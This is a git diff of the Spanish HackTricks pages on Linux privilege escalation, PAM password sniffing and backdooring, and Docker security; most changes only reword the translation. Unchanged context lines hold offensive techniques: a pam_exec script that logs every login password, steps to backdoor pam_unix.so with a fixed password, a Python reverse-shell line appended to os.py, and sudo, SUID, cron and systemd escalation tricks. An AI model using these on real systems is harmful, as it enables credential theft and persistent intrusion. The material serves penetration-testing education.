-## Captura de Contraseñas de Inicio de Sesión con PAM
+## Sniffing Logon Passwords with PAM
Vamos a configurar un módulo PAM para registrar cada contraseña que cada usuario utiliza para iniciar sesión. Si no sabes qué es PAM, consulta:
@@ -10,15 +10,15 @@ Vamos a configurar un módulo PAM para registrar cada contraseña que cada usuar
pam-pluggable-authentication-modules.md
{{#endref}}
-**Para más detalles, consulta el [post original](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Esto es solo un resumen:
+**Para más detalles, consulta la [publicación original](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Este es solo un resumen:
**Descripción de la Técnica:**
Los Módulos de Autenticación Pluggable (PAM) ofrecen flexibilidad en la gestión de la autenticación en sistemas basados en Unix. Pueden mejorar la seguridad al personalizar los procesos de inicio de sesión, pero también presentan riesgos si se utilizan de manera incorrecta. Este resumen describe una técnica para capturar credenciales de inicio de sesión utilizando PAM, junto con estrategias de mitigación.
-**Captura de Credenciales:**
+**Capturando Credenciales:**
- Se crea un script bash llamado `toomanysecrets.sh` para registrar los intentos de inicio de sesión, capturando la fecha, el nombre de usuario (`$PAM_USER`), la contraseña (a través de stdin) y la IP del host remoto (`$PAM_RHOST`) en `/var/log/toomanysecrets.log`.
-- El script se hace ejecutable e integra en la configuración de PAM (`common-auth`) utilizando el módulo `pam_exec.so` con opciones para ejecutarse en silencio y exponer el token de autenticación al script.
+- El script se hace ejecutable e se integra en la configuración de PAM (`common-auth`) utilizando el módulo `pam_exec.so` con opciones para ejecutarse en silencio y exponer el token de autenticación al script.
- El enfoque demuestra cómo un host Linux comprometido puede ser explotado para registrar credenciales de manera discreta.
```bash
#!/bin/sh
@@ -33,21 +33,21 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
**Para más detalles, consulta el [post original](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Esto es solo un resumen:
-El Módulo de Autenticación Pluggable (PAM) es un sistema utilizado en Linux para la autenticación de usuarios. Funciona en tres conceptos principales: **nombre de usuario**, **contraseña** y **servicio**. Los archivos de configuración para cada servicio se encuentran en el directorio `/etc/pam.d/`, donde las bibliotecas compartidas manejan la autenticación.
+El Módulo de Autenticación Pluggable (PAM) es un sistema utilizado en Linux para la autenticación de usuarios. Opera en tres conceptos principales: **nombre de usuario**, **contraseña** y **servicio**. Los archivos de configuración para cada servicio se encuentran en el directorio `/etc/pam.d/`, donde las bibliotecas compartidas manejan la autenticación.
**Objetivo**: Modificar PAM para permitir la autenticación con una contraseña específica, eludiendo la contraseña real del usuario. Esto se centra particularmente en la biblioteca compartida `pam_unix.so` utilizada por el archivo `common-auth`, que es incluido por casi todos los servicios para la verificación de contraseñas.
### Pasos para Modificar `pam_unix.so`:
-1. **Localizar la Directiva de Autenticación** en el archivo `common-auth`:
+1. **Localiza la Directiva de Autenticación** en el archivo `common-auth`:
- La línea responsable de verificar la contraseña de un usuario llama a `pam_unix.so`.
-2. **Modificar el Código Fuente**:
-- Agregar una declaración condicional en el archivo fuente `pam_unix_auth.c` que otorgue acceso si se utiliza una contraseña predefinida; de lo contrario, procede con el proceso de autenticación habitual.
-3. **Recompilar y Reemplazar** la biblioteca modificada `pam_unix.so` en el directorio apropiado.
+2. **Modifica el Código Fuente**:
+- Agrega una declaración condicional en el archivo fuente `pam_unix_auth.c` que otorgue acceso si se utiliza una contraseña predefinida; de lo contrario, procede con el proceso de autenticación habitual.
+3. **Recompila y Reemplaza** la biblioteca modificada `pam_unix.so` en el directorio apropiado.
4. **Pruebas**:
-- Se concede acceso a través de varios servicios (login, ssh, sudo, su, screensaver) con la contraseña predefinida, mientras que los procesos de autenticación normales permanecen sin afectar.
+- Se concede acceso a través de varios servicios (inicio de sesión, ssh, sudo, su, protector de pantalla) con la contraseña predefinida, mientras que los procesos de autenticación normales permanecen sin afectar.
-> [!NOTE]
+> [!TIP]
> Puedes automatizar este proceso con [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index 16e48cbe9..4923d0da9 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -6,7 +6,7 @@
### Información del SO
-Comencemos a obtener algo de conocimiento sobre el SO en ejecución
+Comencemos a obtener información sobre el SO en ejecución
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
```
### Ruta
-Si **tienes permisos de escritura en alguna carpeta dentro de la variable `PATH`** podrías ser capaz de secuestrar algunas bibliotecas o binarios:
+Si **tienes permisos de escritura en alguna carpeta dentro de la variable `PATH`** es posible que puedas secuestrar algunas bibliotecas o binarios:
```bash
echo $PATH
```
@@ -35,7 +35,7 @@ searchsploit "Linux Kernel"
Puedes encontrar una buena lista de núcleos vulnerables y algunos **exploits compilados** aquí: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) y [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
Otros sitios donde puedes encontrar algunos **exploits compilados**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
-Para extraer todas las versiones vulnerables del núcleo de esa web, puedes hacer:
+Para extraer todas las versiones de núcleo vulnerables de esa web, puedes hacer:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
@@ -202,7 +202,7 @@ gdb -p
(gdb) q
strings /tmp/mem_ftp #User and password
```
-#### Script de GDB
+#### GDB Script
```bash:dump-memory.sh
#!/bin/bash
#./dump-memory.sh
@@ -266,7 +266,7 @@ Press Ctrl-C to end monitoring without terminating the process.
```
### Herramientas
-Para volcar la memoria de un proceso, podrías usar:
+Para volcar la memoria de un proceso, puedes usar:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puedes eliminar manualmente los requisitos de root y volcar el proceso que te pertenece
@@ -297,7 +297,7 @@ La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Conexiones FTP Activas) | vsftpd |
| Apache2 (Sesiones Activas de Autenticación HTTP Básica) | apache2 |
-| OpenSSH (Sesiones SSH Activas - Uso de Sudo) | sshd: |
+| OpenSSH (Sesiones SSH Activas - Uso de Sudo) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@@ -344,11 +344,12 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
Lee la siguiente página para más trucos de explotación de comodines:
+
{{#ref}}
wildcards-spare-tricks.md
{{#endref}}
-### Sobrescritura de script de cron y symlink
+### Sobrescritura de script de Cron y symlink
Si **puedes modificar un script de cron** ejecutado por root, puedes obtener un shell muy fácilmente:
```bash
@@ -405,7 +406,7 @@ Luego, crea un **ejecutable** con el **mismo nombre que la ruta relativa del bin
## **Temporizadores**
-Los **Temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos `**.service**`. Los **Temporizadores** se pueden usar como una alternativa a cron, ya que tienen soporte incorporado para eventos de tiempo calendario y eventos de tiempo monótono y se pueden ejecutar de forma asíncrona.
+Los **Temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos de `**.service**`. Los **Temporizadores** se pueden usar como una alternativa a cron, ya que tienen soporte incorporado para eventos de tiempo calendario y eventos de tiempo monótono y se pueden ejecutar de forma asíncrona.
Puedes enumerar todos los temporizadores con:
```bash
@@ -417,9 +418,9 @@ Si puedes modificar un temporizador, puedes hacer que ejecute algunas instancias
```bash
Unit=backdoor.service
```
-En la documentación puedes leer qué es la Unidad:
+En la documentación puedes leer qué es la unidad:
-> La unidad que se activa cuando se agota este temporizador. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor predeterminado es un servicio que tiene el mismo nombre que la unidad del temporizador, excepto por el sufijo. (Ver arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad del temporizador tengan nombres idénticos, excepto por el sufijo.
+> La unidad que se activa cuando se agota este temporizador. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor predeterminado es un servicio que tiene el mismo nombre que la unidad del temporizador, excepto por el sufijo. (Ver arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad del temporizador tengan el mismo nombre, excepto por el sufijo.
Por lo tanto, para abusar de este permiso necesitarías:
@@ -435,7 +436,7 @@ Para habilitar un temporizador necesitas privilegios de root y ejecutar:
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```
-Note que el **temporizador** se **activa** creando un symlink a él en `/etc/systemd/system/.wants/.timer`
+Note que el **temporizador** está **activado** al crear un symlink a él en `/etc/systemd/system/.wants/.timer`
## Sockets
@@ -453,8 +454,8 @@ Los sockets se pueden configurar utilizando archivos `.socket`.
### Archivos .socket escribibles
-Si encuentras un archivo `.socket` **escribible**, puedes **agregar** al principio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y la puerta trasera se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\
-_Ten en cuenta que el sistema debe estar utilizando esa configuración de archivo de socket o la puerta trasera no se ejecutará_
+Si encuentras un archivo `.socket` **escribible**, puedes **agregar** al principio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\
+_Ten en cuenta que el sistema debe estar utilizando esa configuración de archivo de socket o el backdoor no se ejecutará_
### Sockets escribibles
@@ -475,6 +476,7 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of
```
**Ejemplo de explotación:**
+
{{#ref}}
socket-command-injection.md
{{#endref}}
@@ -564,11 +566,11 @@ runc-privilege-escalation.md
D-Bus es un sofisticado **sistema de Comunicación entre Procesos (IPC)** que permite a las aplicaciones interactuar y compartir datos de manera eficiente. Diseñado con el sistema Linux moderno en mente, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones.
-El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, reminiscentes de **sockets de dominio UNIX mejorados**. Además, ayuda a transmitir eventos o señales, fomentando una integración fluida entre los componentes del sistema. Por ejemplo, una señal de un demonio Bluetooth sobre una llamada entrante puede hacer que un reproductor de música se silencie, mejorando la experiencia del usuario. Además, D-Bus soporta un sistema de objetos remotos, simplificando las solicitudes de servicio y las invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos.
+El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, reminiscentes de **sockets de dominio UNIX mejorados**. Además, ayuda a transmitir eventos o señales, fomentando una integración fluida entre los componentes del sistema. Por ejemplo, una señal de un demonio Bluetooth sobre una llamada entrante puede hacer que un reproductor de música se silencie, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando solicitudes de servicio e invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos.
-D-Bus opera bajo un **modelo de permitir/denegar**, gestionando los permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política coincidentes. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos.
+D-Bus opera bajo un **modelo de permitir/negar**, gestionando permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política que coinciden. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos.
-Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando los permisos para que el usuario root posea, envíe y reciba mensajes de `fi.w1.wpa_supplicant1`.
+Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando permisos para que el usuario root posea, envíe y reciba mensajes de `fi.w1.wpa_supplicant1`.
Las políticas sin un usuario o grupo especificado se aplican universalmente, mientras que las políticas de contexto "predeterminadas" se aplican a todos los que no están cubiertos por otras políticas específicas.
```xml
@@ -581,13 +583,14 @@ Las políticas sin un usuario o grupo especificado se aplican universalmente, mi
```
**Aprende a enumerar y explotar una comunicación D-Bus aquí:**
+
{{#ref}}
d-bus-enumeration-and-command-injection-privilege-escalation.md
{{#endref}}
## **Red**
-Siempre es interesante enumerar la red y determinar la posición de la máquina.
+Siempre es interesante enumerar la red y averiguar la posición de la máquina.
### Enumeración genérica
```bash
@@ -621,7 +624,7 @@ Siempre verifica los servicios de red que se están ejecutando en la máquina co
```
### Sniffing
-Verifica si puedes esnifar tráfico. Si puedes, podrías ser capaz de obtener algunas credenciales.
+Verifica si puedes esnifar tráfico. Si puedes, podrías ser capaz de capturar algunas credenciales.
```
timeout 1 tcpdump
```
@@ -660,6 +663,7 @@ Algunas versiones de Linux fueron afectadas por un error que permite a los usuar
Verifica si eres **miembro de algún grupo** que podría otorgarte privilegios de root:
+
{{#ref}}
interesting-groups-linux-pe/
{{#endref}}
@@ -683,7 +687,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
```
### Conocidas contraseñas
-Si **conoces alguna contraseña** del entorno, **intenta iniciar sesión como cada usuario** usando la contraseña.
+Si **conoces alguna contraseña** del entorno **intenta iniciar sesión como cada usuario** usando la contraseña.
### Su Brute
@@ -694,7 +698,7 @@ Si no te importa hacer mucho ruido y los binarios `su` y `timeout` están presen
### $PATH
-Si encuentras que puedes **escribir dentro de alguna carpeta del $PATH**, podrías ser capaz de escalar privilegios **creando una puerta trasera dentro de la carpeta escribible** con el nombre de algún comando que va a ser ejecutado por un usuario diferente (idealmente root) y que **no se carga desde una carpeta que esté ubicada antes** de tu carpeta escribible en $PATH.
+Si encuentras que puedes **escribir dentro de alguna carpeta del $PATH** podrías ser capaz de escalar privilegios **creando una puerta trasera dentro de la carpeta escribible** con el nombre de algún comando que va a ser ejecutado por un usuario diferente (idealmente root) y que **no se carga desde una carpeta que esté ubicada antes** de tu carpeta escribible en $PATH.
### SUDO y SUID
@@ -714,13 +718,13 @@ less>!
```
### NOPASSWD
-La configuración de Sudo puede permitir a un usuario ejecutar algún comando con los privilegios de otro usuario sin conocer la contraseña.
+La configuración de Sudo podría permitir a un usuario ejecutar algún comando con los privilegios de otro usuario sin conocer la contraseña.
```
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
-En este ejemplo, el usuario `demo` puede ejecutar `vim` como `root`, ahora es trivial obtener un shell al agregar una clave ssh en el directorio raíz o al llamar a `sh`.
+En este ejemplo, el usuario `demo` puede ejecutar `vim` como `root`, ahora es trivial obtener un shell añadiendo una clave ssh en el directorio raíz o llamando a `sh`.
```
sudo vim -c '!sh'
```
@@ -763,13 +767,13 @@ export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
-Esta técnica también se puede utilizar si un **suid** binario **ejecuta otro comando sin especificar la ruta a este (siempre verifica con** _**strings**_ **el contenido de un binario SUID extraño)**.
+Esta técnica también se puede utilizar si un **suid** binario **ejecuta otro comando sin especificar la ruta a él (siempre verifica con** _**strings**_ **el contenido de un binario SUID extraño)**.
[Ejemplos de payloads para ejecutar.](payloads-to-execute.md)
### Binario SUID con ruta de comando
-Si el **suid** binario **ejecuta otro comando especificando la ruta**, entonces, puedes intentar **exportar una función** nombrada como el comando que el archivo suid está llamando.
+Si el **suid** binario **ejecuta otro comando especificando la ruta**, entonces, puedes intentar **exportar una función** llamada como el comando que el archivo suid está llamando.
Por ejemplo, si un binario suid llama a _**/usr/sbin/service apache2 start**_ tienes que intentar crear la función y exportarla:
```bash
@@ -782,7 +786,7 @@ Entonces, cuando llamas al binario suid, esta función se ejecutará
La variable de entorno **LD_PRELOAD** se utiliza para especificar una o más bibliotecas compartidas (.so files) que deben ser cargadas por el cargador antes que todas las demás, incluida la biblioteca estándar de C (`libc.so`). Este proceso se conoce como precarga de una biblioteca.
-Sin embargo, para mantener la seguridad del sistema y prevenir que esta característica sea explotada, particularmente con ejecutables **suid/sgid**, el sistema impone ciertas condiciones:
+Sin embargo, para mantener la seguridad del sistema y prevenir que esta función sea explotada, particularmente con ejecutables **suid/sgid**, el sistema impone ciertas condiciones:
- El cargador ignora **LD_PRELOAD** para ejecutables donde el ID de usuario real (_ruid_) no coincide con el ID de usuario efectivo (_euid_).
- Para ejecutables con suid/sgid, solo se precargan bibliotecas en rutas estándar que también son suid/sgid.
@@ -871,7 +875,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
-Ahora que hemos encontrado un binario SUID que carga una biblioteca desde una carpeta donde podemos escribir, creemos la biblioteca en esa carpeta con el nombre necesario:
+Ahora que hemos encontrado un binario SUID que carga una biblioteca desde una carpeta donde podemos escribir, vamos a crear la biblioteca en esa carpeta con el nombre necesario:
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include
@@ -901,10 +905,12 @@ El proyecto recopila funciones legítimas de binarios de Unix que pueden ser abu
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
+
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
+
{{#ref}}
https://gtfoargs.github.io/
{{#endref}}
@@ -954,7 +960,7 @@ Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y t
### /etc/sudoers, /etc/sudoers.d
El archivo `/etc/sudoers` y los archivos dentro de `/etc/sudoers.d` configuran quién puede usar `sudo` y cómo. Estos archivos **por defecto solo pueden ser leídos por el usuario root y el grupo root**.\
-**Si** puedes **leer** este archivo, podrías **obtener información interesante**, y si puedes **escribir** en cualquier archivo, podrás **escalar privilegios**.
+**Si** puedes **leer** este archivo, podrías ser capaz de **obtener información interesante**, y si puedes **escribir** cualquier archivo, podrás **escalar privilegios**.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
@@ -1009,6 +1015,7 @@ Eso significa que se leerán los archivos de configuración de `/etc/ld.so.conf.
Si por alguna razón **un usuario tiene permisos de escritura** en cualquiera de las rutas indicadas: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, cualquier archivo dentro de `/etc/ld.so.conf.d/` o cualquier carpeta dentro del archivo de configuración en `/etc/ld.so.conf.d/*.conf`, puede ser capaz de escalar privilegios.\
Echa un vistazo a **cómo explotar esta mala configuración** en la siguiente página:
+
{{#ref}}
ld.so.conf-example.md
{{#endref}}
@@ -1078,7 +1085,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
## Abrir sesiones de shell
En **versiones antiguas** puedes **secuestrar** algunas sesiones de **shell** de un usuario diferente (**root**).\
-En **versiones más recientes** solo podrás **conectarte** a las sesiones de pantalla de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**.
+En **versiones más recientes** solo podrás **conectarte** a sesiones de pantalla de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**.
### Secuestro de sesiones de pantalla
@@ -1136,10 +1143,10 @@ Este error se produce al crear una nueva clave ssh en esos sistemas operativos,
Especifica si el root puede iniciar sesión usando ssh, el valor predeterminado es `no`. Valores posibles:
-- `yes`: el root puede iniciar sesión usando contraseña y clave privada
-- `without-password` o `prohibit-password`: el root solo puede iniciar sesión con una clave privada
-- `forced-commands-only`: el root solo puede iniciar sesión usando clave privada y si se especifican las opciones de comandos
-- `no`: no
+- `yes`: root puede iniciar sesión usando contraseña y clave privada
+- `without-password` o `prohibit-password`: root solo puede iniciar sesión con una clave privada
+- `forced-commands-only`: Root solo puede iniciar sesión usando clave privada y si se especifican las opciones de comandos
+- `no` : no
### AuthorizedKeysFile
@@ -1151,7 +1158,7 @@ Esa configuración indicará que si intentas iniciar sesión con la **clave priv
### ForwardAgent/AllowAgentForwarding
-El reenvío del agente SSH te permite **usar tus claves SSH locales en lugar de dejar claves** (¡sin frases de contraseña!) en tu servidor. Así, podrás **saltar** a través de ssh **a un host** y desde allí **saltar a otro** host **usando** la **clave** ubicada en tu **host inicial**.
+El reenvío de agente SSH te permite **usar tus claves SSH locales en lugar de dejar claves** (¡sin frases de contraseña!) en tu servidor. Así, podrás **saltar** a través de ssh **a un host** y desde allí **saltar a otro** host **usando** la **clave** ubicada en tu **host inicial**.
Necesitas establecer esta opción en `$HOME/.ssh.config` así:
```
@@ -1160,7 +1167,7 @@ ForwardAgent yes
```
Nota que si `Host` es `*`, cada vez que el usuario salta a una máquina diferente, ese host podrá acceder a las claves (lo cual es un problema de seguridad).
-El archivo `/etc/ssh_config` puede **sobrescribir** estas **opciones** y permitir o denegar esta configuración.\
+El archivo `/etc/ssh_config` puede **anular** estas **opciones** y permitir o denegar esta configuración.\
El archivo `/etc/sshd_config` puede **permitir** o **denegar** el reenvío de ssh-agent con la palabra clave `AllowAgentForwarding` (el valor predeterminado es permitir).
Si encuentras que el Forward Agent está configurado en un entorno, lee la siguiente página ya que **puedes abusar de ello para escalar privilegios**:
@@ -1177,11 +1184,11 @@ El archivo `/etc/profile` y los archivos bajo `/etc/profile.d/` son **scripts qu
```bash
ls -l /etc/profile /etc/profile.d/
```
-Si se encuentra algún script de perfil extraño, debe revisarlo en busca de **detalles sensibles**.
+Si se encuentra algún script de perfil extraño, debes revisarlo en busca de **detalles sensibles**.
### Archivos Passwd/Shadow
-Dependiendo del sistema operativo, los archivos `/etc/passwd` y `/etc/shadow` pueden tener un nombre diferente o puede haber una copia de seguridad. Por lo tanto, se recomienda **encontrar todos ellos** y **verificar si puede leer** los archivos para ver **si hay hashes** dentro de los archivos:
+Dependiendo del sistema operativo, los archivos `/etc/passwd` y `/etc/shadow` pueden tener un nombre diferente o puede haber una copia de seguridad. Por lo tanto, se recomienda **encontrar todos ellos** y **verificar si puedes leer** los archivos para ver **si hay hashes** dentro de los archivos:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@@ -1221,7 +1228,7 @@ Deberías verificar si puedes **escribir en algunos archivos sensibles**. Por ej
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
-Por ejemplo, si la máquina está ejecutando un **servidor tomcat** y puedes **modificar el archivo de configuración del servicio Tomcat dentro de /etc/systemd/,** entonces puedes modificar las líneas:
+Por ejemplo, si la máquina está ejecutando un **tomcat** server y puedes **modificar el archivo de configuración del servicio Tomcat dentro de /etc/systemd/,** entonces puedes modificar las líneas:
```
ExecStart=/path/to/backdoor
User=root
@@ -1321,7 +1328,7 @@ No voy a listar aquí cómo hacer todo esto, pero si estás interesado, puedes r
Si sabes de **dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o **modificar bibliotecas de python**, puedes modificar la biblioteca OS y ponerle un backdoor (si puedes escribir donde se va a ejecutar el script de python, copia y pega la biblioteca os.py).
-Para **poner un backdoor en la biblioteca**, simplemente agrega al final de la biblioteca os.py la siguiente línea (cambia IP y PUERTO):
+Para **poner un backdoor en la biblioteca**, simplemente añade al final de la biblioteca os.py la siguiente línea (cambia IP y PUERTO):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
@@ -1356,9 +1363,9 @@ DEVICE=eth0
```
### **init, init.d, systemd y rc.d**
-El directorio `/etc/init.d` es el hogar de **scripts** para System V init (SysVinit), el **sistema clásico de gestión de servicios de Linux**. Incluye scripts para `start`, `stop`, `restart` y a veces `reload` servicios. Estos pueden ejecutarse directamente o a través de enlaces simbólicos encontrados en `/etc/rc?.d/`. Un camino alternativo en sistemas Redhat es `/etc/rc.d/init.d`.
+El directorio `/etc/init.d` es el hogar de **scripts** para System V init (SysVinit), el **sistema clásico de gestión de servicios de Linux**. Incluye scripts para `iniciar`, `detener`, `reiniciar` y a veces `recargar` servicios. Estos pueden ejecutarse directamente o a través de enlaces simbólicos encontrados en `/etc/rc?.d/`. Un camino alternativo en sistemas Redhat es `/etc/rc.d/init.d`.
-Por otro lado, `/etc/init` está asociado con **Upstart**, un **sistema de gestión de servicios** más nuevo introducido por Ubuntu, que utiliza archivos de configuración para tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts de SysVinit todavía se utilizan junto con las configuraciones de Upstart debido a una capa de compatibilidad en Upstart.
+Por otro lado, `/etc/init` está asociado con **Upstart**, una **gestión de servicios** más nueva introducida por Ubuntu, utilizando archivos de configuración para tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts de SysVinit todavía se utilizan junto con las configuraciones de Upstart debido a una capa de compatibilidad en Upstart.
**systemd** surge como un moderno gestor de inicialización y servicios, ofreciendo características avanzadas como el inicio de demonios bajo demanda, gestión de automontaje y instantáneas del estado del sistema. Organiza archivos en `/usr/lib/systemd/` para paquetes de distribución y `/etc/systemd/system/` para modificaciones de administradores, agilizando el proceso de administración del sistema.
@@ -1366,11 +1373,13 @@ Por otro lado, `/etc/init` está asociado con **Upstart**, un **sistema de gesti
### Escalación de privilegios NFS
+
{{#ref}}
nfs-no_root_squash-misconfiguration-pe.md
{{#endref}}
-### Escapando de Shells restringidos
+### Escape de Shells restringidos
+
{{#ref}}
escaping-from-limited-bash.md
@@ -1378,6 +1387,7 @@ escaping-from-limited-bash.md
### Cisco - vmanage
+
{{#ref}}
cisco-vmanage.md
{{#endref}}
@@ -1426,10 +1436,12 @@ cisco-vmanage.md
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
+
## Marcos de rooting de Android: abuso de canal de administrador
Los marcos de rooting de Android comúnmente enganchan una syscall para exponer la funcionalidad privilegiada del kernel a un administrador de espacio de usuario. La autenticación débil del administrador (por ejemplo, verificaciones de firma basadas en el orden de FD o esquemas de contraseña deficientes) puede permitir que una aplicación local se haga pasar por el administrador y escale a root en dispositivos ya rooteados. Aprende más y detalles de explotación aquí:
+
{{#ref}}
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
diff --git a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md
index 96e1d8b92..9ed2613a0 100644
--- a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md
+++ b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md
@@ -37,6 +37,7 @@ ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu b
```
Luego puedes usar algunas de las técnicas mencionadas en la siguiente página para **escapar de ella abusando de capacidades privilegiadas**:
+
{{#ref}}
docker-security/
{{#endref}}
diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md
index 1331290ed..0d7455bf5 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/README.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/README.md
@@ -74,9 +74,9 @@ La firma de imágenes de Docker garantiza la seguridad e integridad de las imág
- **Docker Content Trust** utiliza el proyecto Notary, basado en The Update Framework (TUF), para gestionar la firma de imágenes. Para más información, consulta [Notary](https://github.com/docker/notary) y [TUF](https://theupdateframework.github.io).
- Para activar la confianza en el contenido de Docker, establece `export DOCKER_CONTENT_TRUST=1`. Esta función está desactivada por defecto en Docker versión 1.10 y posteriores.
-- Con esta función habilitada, solo se pueden descargar imágenes firmadas. El primer envío de imágenes requiere establecer frases de contraseña para las claves raíz y de etiquetado, con Docker también soportando Yubikey para una mayor seguridad. Más detalles se pueden encontrar [aquí](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
+- Con esta función habilitada, solo se pueden descargar imágenes firmadas. El primer envío de imágenes requiere establecer frases de paso para las claves raíz y de etiquetado, y Docker también admite Yubikey para una mayor seguridad. Más detalles se pueden encontrar [aquí](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Intentar descargar una imagen no firmada con la confianza en el contenido habilitada resulta en un error "No trust data for latest".
-- Para los envíos de imágenes después del primero, Docker solicita la frase de contraseña de la clave del repositorio para firmar la imagen.
